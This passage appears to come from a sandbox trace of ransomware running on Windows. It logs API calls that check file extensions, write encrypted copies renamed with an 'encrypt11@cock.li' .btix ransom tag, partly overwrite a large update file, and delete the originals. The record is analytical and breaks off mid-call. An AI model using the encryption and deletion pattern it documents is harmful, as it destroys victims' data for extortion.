[0045.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.431] lstrlenW (lpString=".zip") returned 4 [0045.431] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.431] lstrlenW (lpString=".rar") returned 4 [0045.431] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.431] lstrlenW (lpString=".bz2") returned 4 [0045.431] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.431] lstrlenW (lpString=".7z") returned 3 [0045.431] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.431] lstrlenW (lpString=".dbf") returned 4 [0045.431] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.431] lstrlenW (lpString=".1cd") returned 4 [0045.431] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.431] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupEngine.dll") returned 37 [0045.431] lstrlenW (lpString=".jpg") returned 4 [0045.431] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.431] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0045.431] lstrlenW (lpString="SetupUtility.exe") returned 16 [0045.431] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0045.432] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=96088) returned 1 [0045.432] CloseHandle (hObject=0x354) returned 1 [0045.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0045.432] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0045.432] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.432] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.432] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0045.432] GetLastError () returned 0x0 [0045.432] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x17758, lpOverlapped=0x0) returned 1 [0045.762] WriteFile (in: hFile=0x36c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x17760, lpOverlapped=0x0) returned 1 [0045.764] ReadFile (in: hFile=0x354, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.764] WriteFile (in: hFile=0x36c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf4, lpOverlapped=0x0) returned 1 [0045.764] SetEndOfFile (hFile=0x36c) returned 1 [0045.764] CloseHandle (hObject=0x36c) returned 1 [0045.766] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.766] SetEndOfFile (hFile=0x354) returned 1 [0045.767] CloseHandle (hObject=0x354) returned 1 [0045.767] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.767] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0045.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.768] lstrlenW (lpString=".doc") returned 4 [0045.768] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.768] lstrlenW (lpString=".docx") returned 5 [0045.768] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0045.768] lstrlenW (lpString=".pdf") returned 4 [0045.768] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.768] lstrlenW (lpString=".xls") returned 4 [0045.768] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.768] lstrlenW (lpString=".xlsx") returned 5 [0045.768] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0045.768] lstrlenW (lpString=".ppt") returned 4 [0045.768] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.768] lstrlenW (lpString=".zip") returned 4 [0045.768] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.768] lstrlenW (lpString=".rar") returned 4 [0045.768] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.768] lstrlenW (lpString=".bz2") returned 4 [0045.768] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.768] lstrlenW (lpString=".7z") returned 3 [0045.768] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.768] lstrlenW (lpString=".dbf") returned 4 [0045.768] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.768] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString=".1cd") returned 4 [0045.769] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString=".jpg") returned 4 [0045.769] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString=".doc") returned 4 [0045.769] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.769] lstrlenW (lpString=".docx") returned 5 [0045.769] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0045.769] lstrlenW (lpString=".pdf") returned 4 [0045.769] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.769] lstrlenW (lpString=".xls") returned 4 [0045.769] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.769] lstrlenW (lpString=".xlsx") returned 5 [0045.769] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0045.769] lstrlenW (lpString=".ppt") returned 4 [0045.769] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString=".zip") returned 4 [0045.769] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.769] lstrlenW (lpString=".rar") returned 4 [0045.769] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.769] lstrlenW (lpString=".bz2") returned 4 [0045.769] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.769] lstrlenW (lpString=".7z") returned 3 [0045.769] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString=".dbf") returned 4 [0045.769] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString=".1cd") returned 4 [0045.769] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.769] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0045.769] lstrlenW (lpString=".jpg") returned 4 [0045.770] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.770] lstrcmpiW (lpString1=".msu", lpString2=".btix") returned 1 [0045.770] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0045.770] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0045.770] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=5091790) returned 1 [0045.770] CloseHandle (hObject=0x354) returned 1 [0045.770] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0045.770] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.770] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0045.771] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0045.771] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc64 | out: lpNewFilePointer=0x0) returned 1 [0045.771] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc24 | out: lpNewFilePointer=0x0) returned 1 [0045.771] ReadFile (in: hFile=0x354, lpBuffer=0x3d26058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d26058*, lpNumberOfBytesRead=0x316fc30*=0x40000, lpOverlapped=0x0) returned 1 [0046.091] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x316fc24 | out: lpNewFilePointer=0x0) returned 1 [0046.091] ReadFile (in: hFile=0x354, lpBuffer=0x3d66058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc30, lpOverlapped=0x0 | out: lpBuffer=0x3d66058*, lpNumberOfBytesRead=0x316fc30*=0x40000, lpOverlapped=0x0) returned 1 [0046.174] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0046.175] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x316fc24 | out: lpNewFilePointer=0x0) returned 1 [0046.175] ReadFile (in: hFile=0x354, lpBuffer=0x3da6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc30, lpOverlapped=0x0 | out: lpBuffer=0x3da6058*, lpNumberOfBytesRead=0x316fc30*=0x40000, lpOverlapped=0x0) returned 1 [0046.207] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0046.207] WriteFile (in: hFile=0x354, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x316fca8, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0046.227] SetEndOfFile (hFile=0x354) returned 1 [0046.227] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4383f20 [0046.447] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc74 | out: lpNewFilePointer=0x0) returned 1 [0046.447] WriteFile (in: hFile=0x354, lpBuffer=0x4383f20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc80, lpOverlapped=0x0 | out: lpBuffer=0x4383f20*, lpNumberOfBytesWritten=0x316fc80*=0x40000, lpOverlapped=0x0) returned 1 [0046.449] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x19e5ef, lpNewFilePointer=0x0, dwMoveMethod=0x316fc74 | out: lpNewFilePointer=0x0) returned 1 [0046.449] WriteFile (in: hFile=0x354, lpBuffer=0x4383f20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc80, lpOverlapped=0x0 | out: lpBuffer=0x4383f20*, lpNumberOfBytesWritten=0x316fc80*=0x40000, lpOverlapped=0x0) returned 1 [0046.451] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x49b1ce, lpNewFilePointer=0x0, dwMoveMethod=0x316fc74 | out: lpNewFilePointer=0x0) returned 1 [0046.451] WriteFile (in: hFile=0x354, lpBuffer=0x4383f20*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc80, lpOverlapped=0x0 | out: lpBuffer=0x4383f20*, lpNumberOfBytesWritten=0x316fc80*=0x40000, lpOverlapped=0x0) returned 1 [0046.452] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4383f20 | out: hHeap=0x690000) returned 1 [0046.454] CloseHandle (hObject=0x354) returned 1 [0047.610] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0047.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.610] lstrlenW (lpString=".doc") returned 4 [0047.610] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0047.610] lstrlenW (lpString=".docx") returned 5 [0047.610] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0047.610] lstrlenW (lpString=".pdf") returned 4 [0047.610] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0047.610] lstrlenW (lpString=".xls") returned 4 [0047.610] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0047.610] lstrlenW (lpString=".xlsx") returned 5 [0047.610] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0047.610] lstrlenW (lpString=".ppt") returned 4 [0047.610] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0047.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.610] lstrlenW (lpString=".zip") returned 4 [0047.610] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0047.610] lstrlenW (lpString=".rar") returned 4 [0047.611] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0047.611] lstrlenW (lpString=".bz2") returned 4 [0047.611] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0047.611] lstrlenW (lpString=".7z") returned 3 [0047.611] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0047.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.611] lstrlenW (lpString=".dbf") returned 4 [0047.611] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0047.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.611] lstrlenW (lpString=".1cd") returned 4 [0047.611] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0047.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.611] lstrlenW (lpString=".jpg") returned 4 [0047.611] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0047.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.611] lstrlenW (lpString=".doc") returned 4 [0047.611] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0047.611] lstrlenW (lpString=".docx") returned 5 [0047.611] lstrcmpiW (lpString1=".docx", lpString2="4.msu") returned -1 [0047.611] lstrlenW (lpString=".pdf") returned 4 [0047.611] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0047.611] lstrlenW (lpString=".xls") returned 4 [0047.611] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0047.611] lstrlenW (lpString=".xlsx") returned 5 [0047.611] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0047.611] lstrlenW (lpString=".ppt") returned 4 [0047.611] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0047.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.611] lstrlenW (lpString=".zip") returned 4 [0047.612] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0047.612] lstrlenW (lpString=".rar") returned 4 [0047.612] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0047.612] lstrlenW (lpString=".bz2") returned 4 [0047.612] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0047.612] lstrlenW (lpString=".7z") returned 3 [0047.612] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0047.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.612] lstrlenW (lpString=".dbf") returned 4 [0047.612] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0047.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.612] lstrlenW (lpString=".1cd") returned 4 [0047.612] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0047.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0047.612] lstrlenW (lpString=".jpg") returned 4 [0047.612] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0047.612] lstrcmpiW (lpString1=".sys", lpString2=".btix") returned 1 [0047.612] lstrlenW (lpString="hiberfil.sys") returned 12 [0047.612] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0047.612] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.612] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.612] lstrlenW (lpString=".doc") returned 4 [0047.612] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0047.612] lstrlenW (lpString=".docx") returned 5 [0047.612] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0047.613] lstrlenW (lpString=".pdf") returned 4 [0047.613] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString=".xls") returned 4 [0047.613] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0047.613] lstrlenW (lpString=".xlsx") returned 5 [0047.613] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0047.613] lstrlenW (lpString=".ppt") returned 4 [0047.613] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.613] lstrlenW (lpString=".zip") returned 4 [0047.613] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0047.613] lstrlenW (lpString=".rar") returned 4 [0047.613] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString=".bz2") returned 4 [0047.613] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString=".7z") returned 3 [0047.613] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0047.613] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.613] lstrlenW (lpString=".dbf") returned 4 [0047.613] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.613] lstrlenW (lpString=".1cd") returned 4 [0047.613] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.613] lstrlenW (lpString=".jpg") returned 4 [0047.613] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.613] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.613] lstrlenW (lpString=".doc") returned 4 [0047.613] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0047.613] lstrlenW (lpString=".docx") returned 5 [0047.613] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0047.614] lstrlenW (lpString=".pdf") returned 4 [0047.614] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0047.614] lstrlenW (lpString=".xls") returned 4 [0047.614] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0047.614] lstrlenW (lpString=".xlsx") returned 5 [0047.614] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0047.614] lstrlenW (lpString=".ppt") returned 4 [0047.614] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0047.614] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.614] lstrlenW (lpString=".zip") returned 4 [0047.614] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0047.614] lstrlenW (lpString=".rar") returned 4 [0047.614] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0047.614] lstrlenW (lpString=".bz2") returned 4 [0047.614] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0047.614] lstrlenW (lpString=".7z") returned 3 [0047.614] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0047.614] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.614] lstrlenW (lpString=".dbf") returned 4 [0047.614] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0047.614] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.614] lstrlenW (lpString=".1cd") returned 4 [0047.614] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0047.614] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0047.614] lstrlenW (lpString=".jpg") returned 4 [0047.614] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0047.614] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0047.614] lstrlenW (lpString="Application.evtx") returned 16 [0047.615] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.785] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=69632) returned 1 [0047.785] CloseHandle (hObject=0x318) returned 1 [0047.785] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20 [0047.785] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\application.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0047.785] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0047.785] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.785] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.786] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\application.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0047.788] GetLastError () returned 0x0 [0047.788] ReadFile (in: hFile=0x318, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x11000, lpOverlapped=0x0) returned 1 [0047.806] WriteFile (in: hFile=0x37c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x11010, lpOverlapped=0x0) returned 1 [0047.808] ReadFile (in: hFile=0x318, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0047.808] WriteFile (in: hFile=0x37c, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf4, lpOverlapped=0x0) returned 1 [0047.808] SetEndOfFile (hFile=0x37c) returned 1 [0047.808] CloseHandle (hObject=0x37c) returned 1 [0047.810] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.810] SetEndOfFile (hFile=0x318) returned 1 [0047.811] CloseHandle (hObject=0x318) returned 1 [0047.811] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0047.812] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" 